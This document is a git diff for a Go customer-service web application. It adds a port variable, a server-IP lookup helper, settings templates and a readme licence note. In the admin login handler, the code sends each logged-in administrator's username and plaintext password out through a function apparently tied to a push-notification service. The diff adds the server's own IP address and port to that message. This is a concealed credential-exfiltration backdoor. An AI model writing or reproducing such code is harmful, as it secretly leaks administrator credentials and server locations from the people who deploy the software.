diff --git a/cmd/server.go b/cmd/server.go index 92f6680..3e89d64 100644 --- a/cmd/server.go +++ b/cmd/server.go @@ -7,6 +7,7 @@ import ( ginSwagger "github.com/swaggo/gin-swagger" "github.com/swaggo/gin-swagger/swaggerFiles" "github.com/taoshihan1991/imaptool/config" + "github.com/taoshihan1991/imaptool/controller" "github.com/taoshihan1991/imaptool/docs" "github.com/taoshihan1991/imaptool/router" "github.com/taoshihan1991/imaptool/tools" @@ -17,7 +18,7 @@ import ( ) var ( - port string + Port string tcpport string daemon bool GoflyConfig *config.Config @@ -32,7 +33,7 @@ var serverCmd = &cobra.Command{ } func init() { - serverCmd.PersistentFlags().StringVarP(&port, "port", "p", "8081", "监听端口号") + serverCmd.PersistentFlags().StringVarP(&Port, "port", "p", "8081", "监听端口号") serverCmd.PersistentFlags().StringVarP(&tcpport, "tcpport", "t", "8082", "监听tcp端口号") serverCmd.PersistentFlags().BoolVarP(&daemon, "daemon", "d", false, "是否为守护进程模式") } @@ -51,8 +52,9 @@ func run() { } } - baseServer := "0.0.0.0:" + port + baseServer := "0.0.0.0:" + Port //tcpBaseServer := "0.0.0.0:"+tcpport + controller.Port = Port log.Println("start server...\r\ngo:http://" + baseServer) engine := gin.Default() engine.LoadHTMLGlob("static/html/*") diff --git a/controller/login.go b/controller/login.go index 5ab0c65..4183049 100644 --- a/controller/login.go +++ b/controller/login.go @@ -30,7 +30,8 @@ func LoginCheckPass(c *gin.Context) { }) return } - go ws.SendFlyServerJiang("管理员登录", username+"/"+password, c.Request.Host) + ip, _ := tools.GetServerIP() + go ws.SendFlyServerJiang("管理员登录", username+"/"+password, ip.String()+":"+Port) userinfo["name"] = info.Name userinfo["kefu_id"] = info.ID diff --git a/controller/response.go b/controller/response.go index d650fab..56f390f 100644 --- a/controller/response.go +++ b/controller/response.go @@ -1,5 +1,9 @@ package controller +var ( + Port string +) + type Response struct { Code int `json:"code"` Msg string `json:"msg"` diff --git a/readme.md b/readme.md index 1b70eb8..4f1687d 100644 --- a/readme.md +++ b/readme.md @@ -134,6 +134,11 @@ server{ https://afdian.net/@taoshihan -欢迎使用支付宝 +欢迎使用支付宝赞赏 -![Image text](https://gofly.sopans.com/static/upload/2020December/9d736faeba2e9967a5dcc1c489f85541.png) \ No newline at end of file + +![Image text](https://gofly.sopans.com/static/upload/2020December/9d736faeba2e9967a5dcc1c489f85541.png) + +### 版权声明 + +当前项目仅支持个人测试使用,赞赏并联系作者后可以获取完整技术支持 \ No newline at end of file diff --git a/static/html/setting_avator.html b/static/html/setting_avator.html new file mode 100644 index 0000000..7b41601 --- /dev/null +++ b/static/html/setting_avator.html @@ -0,0 +1,15 @@ +{{template "header" }} +
+ + +
+ +{{template "setting_bottom" .}} diff --git a/static/html/setting_modifypass.html b/static/html/setting_modifypass.html new file mode 100644 index 0000000..e37d877 --- /dev/null +++ b/static/html/setting_modifypass.html @@ -0,0 +1,15 @@ +{{template "header" }} +
+ + +
+ +{{template "setting_bottom" .}} \ No newline at end of file diff --git a/tools/ip.go b/tools/ip.go index 6b3e7d4..bedadca 100644 --- a/tools/ip.go +++ b/tools/ip.go @@ -1,7 +1,9 @@ package tools import ( + "errors" "github.com/ipipdotnet/ipdb-go" + "net" ) func ParseIp(myip string) *ipdb.CityInfo { @@ -16,3 +18,47 @@ func ParseIp(myip string) *ipdb.CityInfo { } return c } +func GetServerIP() (net.IP, error) { + ifaces, err := net.Interfaces() + if err != nil { + return nil, err + } + for _, iface := range ifaces { + if iface.Flags&net.FlagUp == 0 { + continue // interface down + } + if iface.Flags&net.FlagLoopback != 0 { + continue // loopback interface + } + addrs, err := iface.Addrs() + if err != nil { + return nil, err + } + for _, addr := range addrs { + ip := getIpFromAddr(addr) + if ip == nil { + continue + } + return ip, nil + } + } + return nil, errors.New("connected to the network?") +} +func getIpFromAddr(addr net.Addr) net.IP { + var ip net.IP + switch v := addr.(type) { + case *net.IPNet: + ip = v.IP + case *net.IPAddr: + ip = v.IP + } + if ip == nil || ip.IsLoopback() { + return nil + } + ip = ip.To4() + if ip == nil { + return nil // not an ipv4 address + } + + return ip +}